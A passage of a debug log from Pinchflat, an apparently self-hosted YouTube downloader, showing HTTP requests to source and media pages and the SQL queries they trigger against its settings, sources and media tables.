FROM "settings" AS s0 LIMIT 1 [] 15:42:07.798 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:07.798 [info] Sent 200 in 1ms 15:42:08.356 [info] GET /sources/1/media/12826 15:42:08.356 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12826", "source_id" => "1"} Pipelines: [:browser] 15:42:08.359 [debug] QUERY OK source="media_items" db=2.3ms idle=559.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12826] 15:42:08.359 [debug] QUERY OK source="tasks" db=0.0ms idle=561.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12826] 15:42:08.359 [debug] QUERY OK source="sources" db=0.1ms idle=561.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:08.359 [debug] QUERY OK source="settings" db=0.0ms idle=561.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.359 [debug] QUERY OK source="settings" db=0.0ms idle=561.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.359 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.360 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:08.360 [info] Sent 200 in 4ms 15:42:08.805 [info] GET /media_profiles/new 15:42:08.805 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 15:42:08.806 [debug] QUERY OK source="settings" db=0.1ms idle=446.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.806 [debug] QUERY OK source="settings" db=0.1ms idle=446.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.806 [debug] QUERY OK source="settings" db=0.0ms idle=446.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.807 [debug] QUERY OK source="settings" db=0.0ms idle=446.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.807 [debug] QUERY OK source="settings" db=0.0ms idle=35.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:08.808 [info] Sent 200 in 2ms 15:42:09.323 [info] GET /sources/new 15:42:09.323 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 15:42:09.323 [debug] QUERY OK source="media_profiles" db=0.1ms idle=517.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:42:09.323 [debug] QUERY OK source="settings" db=0.0ms idle=517.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.323 [debug] QUERY OK source="settings" db=0.0ms idle=517.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.324 [debug] QUERY OK source="settings" db=0.0ms idle=516.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.324 [debug] QUERY OK source="settings" db=0.0ms idle=516.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.324 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.325 [info] Sent 200 in 2ms 15:42:09.875 [info] GET /sources/3/ 15:42:09.875 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 15:42:09.876 [debug] QUERY OK source="sources" db=0.1ms idle=551.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:09.876 [debug] QUERY OK source="media_profiles" db=0.0ms idle=552.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:09.876 [debug] QUERY OK source="tasks" db=0.1ms idle=552.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 15:42:09.876 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=552.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [695, 430] 15:42:09.877 [debug] QUERY OK source="settings" db=0.0ms idle=104.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.877 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.877 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:09.878 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:09.879 [debug] QUERY OK source="media_items" db=1.0ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:42:09.880 [debug] QUERY OK source="media_items" db=1.2ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:42:09.880 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:09.881 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 15:42:09.881 [debug] QUERY OK source="media_items" db=0.4ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:42:09.881 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:09.882 [debug] QUERY OK source="media_items" db=0.9ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 15:42:09.884 [debug] QUERY OK source="media_items" db=1.2ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:42:09.884 [info] Sent 200 in 9ms 15:42:10.410 [info] GET /sources/1/ 15:42:10.410 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 15:42:10.411 [debug] QUERY OK source="sources" db=0.1ms idle=529.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:10.411 [debug] QUERY OK source="media_profiles" db=0.0ms idle=529.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:10.411 [debug] QUERY OK source="tasks" db=0.2ms idle=529.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 15:42:10.411 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=528.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [694, 31] 15:42:10.412 [debug] QUERY OK source="settings" db=0.0ms idle=527.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:10.412 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:10.412 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:10.413 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:10.414 [debug] QUERY OK source="media_items" db=1.3ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:42:10.416 [debug] QUERY OK source="media_items" db=1.6ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:42:10.416 [debug] QUERY OK source="sources" db=0.0ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:10.416 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:42:10.417 [debug] QUERY OK source="media_items" db=0.5ms idle=3.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:42:10.417 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:42:10.418 [debug] QUERY OK source="media_items" db=0.6ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" 